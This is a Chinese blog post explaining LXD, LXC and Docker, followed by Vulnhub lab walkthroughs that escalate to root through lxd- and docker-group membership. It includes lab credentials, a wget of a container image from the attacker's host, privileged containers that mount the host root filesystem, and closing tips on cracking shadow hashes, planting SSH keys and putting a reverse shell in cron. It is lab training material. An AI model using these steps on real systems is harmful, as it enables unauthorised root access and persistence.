赞
踩
希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!
LXD、LXC 和 Docker 是三种不同的容器化技术,它们在实现和使用上有一些区别。
总结来说,LXD是基于LXC的系统级容器管理器,提供了更高级别的接口和管理工具;LXC是Linux内核提供的一种虚拟化技术,允许在单个Linux内核上运行多个隔离的用户空间实例;而Docker是基于LXC的容器化平台,提供了一套简化容器构建、分发和运行的工具和API。
LXD(Linux容器守护程序)是一个系统级容器管理器,它基于LXC(Linux容器)技术。LXD提供了更高级别的接口和管理工具,使得轻松创建和管理系统容器成为可能。LXD主要面向系统级容器,可以运行完整的操作系统镜像,并提供类似于虚拟机的环境。它提供了更好的隔离性、资源控制和安全性。
LXC(Linux容器)是Linux内核提供的一种虚拟化技术,它允许在单个Linux内核上运行多个隔离的用户空间实例。LXC提供了一组工具和API,用于创建和管理容器。LXC容器通常比LXD容器更加灵活和轻量级,可以定制底层操作系统的各个方面。LXC更适合于需要更细粒度控制的使用场景。
Docker是一个开源的容器化平台,它建立在LXC之上,并提供了一套更高级别的工具和API,使得容器的构建、分发和运行变得更加简单。Docker提供了一个容器镜像的集装箱模型,使得容器可以在不同的环境中进行移植和部署。Docker强调容器的可移植性和易用性,适用于开发、测试和部署应用程序的场景。
1、原理
LXD 是基于 LXC 容器的管理程序,当前用户可操作容器。所以用户可创建一个容器,再用容器挂载宿主机磁盘,最后使用容器权限操作宿主机磁盘内容达到提权效果。
2、LXD 提权条件
3、案例 - Vulnhub - AI-Web
AI-Web 靶机下载地址:https://www.vulnhub.com/entry/ai-web-2,357/
前期 Web 打点拿到了 ssh 账号密码,如下:
- User: n0nr00tuser
- Pass: zxowieoi4sdsadpEClDws1sf
ssh 连接后发现当前用户 n0nr00tuser 属于 lxd 组,也就是说可以操作 LXD 容器
- ┌──(root㉿ch4ser)-[~]
- └─# ssh n0nr00tuser@192.168.196.144
- n0nr00tuser@aiweb2host:~$ whoami
- n0nr00tuser
- n0nr00tuser@aiweb2host:~$ id
- uid=1001(n0nr00tuser) gid=1001(n0nr00tuser) groups=1001(n0nr00tuser),108(lxd)
- n0nr00tuser@aiweb2host:~$ pwd
- /home/n0nr00tuser
Kali 开启 apache2 服务,将镜像 alpine-v3.13-x86_64-20210218_0139.tar.gz 放到网站根目录
- ┌──(root㉿ch4ser)-[~]
- └─# cd /var/www/html
-
- ┌──(root㉿ch4ser)-[/var/www/html]
- └─# ls
- alpine-v3.13-x86_64-20210218_0139.tar.gz
-
- ┌──(root㉿ch4ser)-[/var/www/html]
- └─# service apache2 start
靶机 wget 下载,使用 lxc 创建容器并别名为 test
- n0nr00tuser@aiweb2host:~$ wget http://192.168.196.128/alpine-v3.13-x86_64-20210218_0139.tar.gz
- n0nr00tuser@aiweb2host:~$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test
- Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a7892b
初始化容器 test 并设置选项 security.privileged=true,即允许容器以特权模式运行
- n0nr00tuser@aiweb2host:~$ lxc init test test -c security.privileged=true
- Creating test
将宿主机的根目录 "/" 挂载到容器中的 "/mnt/root" 目录,recursive=true 选项表示在添加设备时递归创建目标路径
- n0nr00tuser@aiweb2host:~$ lxc config device add test test disk source=/ path=/mnt/root recursive=true
- Device test added to test
启动容器 test 并打开一个 shell 会话,可以看到当前权限为容器的 root 权限(注意:不是宿主机的 root 权限)
- n0nr00tuser@aiweb2host:~$ lxc start test
- n0nr00tuser@aiweb2host:~$ lxc exec test /bin/sh
- ~ # whoami
- root
- ~ # id
- uid=0(root) gid=0(root)
- ~ # pwd
- /root
此时我们对容器具有最高权限,而宿主机的目录已全部递归挂载到 /mnt/root,所以只需要进入 /mnt/root/root 目录查看便可得到 flag
- ~ # cd /mnt/root/root
- /mnt/root/root # ls
- flag.txt
- /mnt/root/root # cat flag.txt
- ####################################################
- # #
- # AI: WEB 2.0 #
- # #
- # Congratulation!!! #
- # #
- # Hope you enjoyed this. #
- # #
- # flag{7fe64512ecd4dba377b50627f307d1678b14132f} #
- # #
- # Please tweet on @arif_xpress #
- # #
- ####################################################
1、原理
Docker 提权和 LXD 提权原理基本一致,都是通过挂载宿主机磁盘,最后使用容器权限操作宿主机磁盘内容达到提权效果。
2、LXD 提权条件
3、案例 - Vulnhub - Chill-Hack
Chill-Hack 靶机下载地址:https://www.vulnhub.com/entry/chill-hack-1,622/
前期 Web 打点拿到了 ssh 账号密码,如下:
- User: anurodh
- Pass: !d0ntKn0wmYp@ssw0rd
ssh 连接后发现当前用户 anurodh 属于 docker 组,也就是说可以操作 Docker 容器
- ┌──(root㉿ch4ser)-[~]
- └─# ssh anurodh@192.168.196.145
- anurodh@ubuntu:~$ whoami
- anurodh
- anurodh@ubuntu:~$ id
- uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)
- anurodh@ubuntu:~$ pwd
- /home/anurodh
拉取镜像,创建容器,将宿主机的根目录 "/" 挂载到容器中的 "/mnt" 目录,进入 /mnt/root 目录查看便可得到 flag`
- anurodh@ubuntu:~$ whoami
- anurodh
- anurodh@ubuntu:~$ id
- uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)
- anurodh@ubuntu:~$ pwd
- /home/anurodh
- anurodh@ubuntu:~$ docker run -v /:/mnt -it alpine
- / # whoami
- root
- / # id
- uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
- / # pwd
- /
- / # cd /mnt/root
- /mnt/root # ls
- proof.txt
- /mnt/root # cat proof.txt
-
-
- {ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}
-
-
- Congratulations! You have successfully completed the challenge.
上述提权方案只是对宿主机目录有了操作权限,如果此时反弹 shell 得到的权限将是容器内的 root 权限,而非宿主机的 root 权限,显然不是我们想要的。
那么如何得到宿主机的 root 权限呢?有以下几种方法参考:
1、破解 /etc/shadow 中的 hash,得到 root 账户密码,可使用 hashcat 等工具
2、添加 ssh 密钥绑定 root,之后使用 ssh 密钥登录 root
3、将反弹 shell 命令写到宿主机的计划任务,此时反弹的是宿主机root权限(推荐)
4、利用 CVE 漏洞直接利用反弹
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。